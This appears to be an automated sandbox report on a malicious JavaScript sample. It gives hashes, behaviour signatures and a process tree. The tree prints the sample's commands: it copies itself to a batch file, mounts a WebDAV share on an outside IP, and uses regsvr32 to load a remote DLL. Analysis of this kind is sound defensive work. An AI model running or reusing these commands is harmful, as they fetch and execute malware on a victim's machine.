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Analysis

  • max time kernel
    95s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 23:40

General

  • Target

    1568330211307331405.js

  • Size

    5KB

  • MD5

    552e3309af30fff843239b7b2162f5b4

  • SHA1

    b024608b81d8c0185a756533a7171ba62257e2ed

  • SHA256

    aa9268abf0c0550ca7ec16d6583b30db880b39595be59c2120bcc7fa0280f68d

  • SHA512

    6ed5f6c9dc597db69f1906cb7ad9452c7d0026381d07e7fb417846c902aefb98102f8fe3f3b29d29070c8093e56736455c4ce751fcd6a71efdf027058d6ba82a

  • SSDEEP

    96:iY7pGgBIPyIltfgLfOGC6FJJKdJsZ7gSvkgK:i286IPyIltfgL9/FJJK/sZ7gwkd

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1568330211307331405.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1568330211307331405.js" "C:\Users\Admin\\dowgwh.bat" && "C:\Users\Admin\\dowgwh.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2272
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\219.dll
          3⤵
            PID:2524

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\dowgwh.bat

        Filesize

        5KB

        MD5

        552e3309af30fff843239b7b2162f5b4

        SHA1

        b024608b81d8c0185a756533a7171ba62257e2ed

        SHA256

        aa9268abf0c0550ca7ec16d6583b30db880b39595be59c2120bcc7fa0280f68d

        SHA512

        6ed5f6c9dc597db69f1906cb7ad9452c7d0026381d07e7fb417846c902aefb98102f8fe3f3b29d29070c8093e56736455c4ce751fcd6a71efdf027058d6ba82a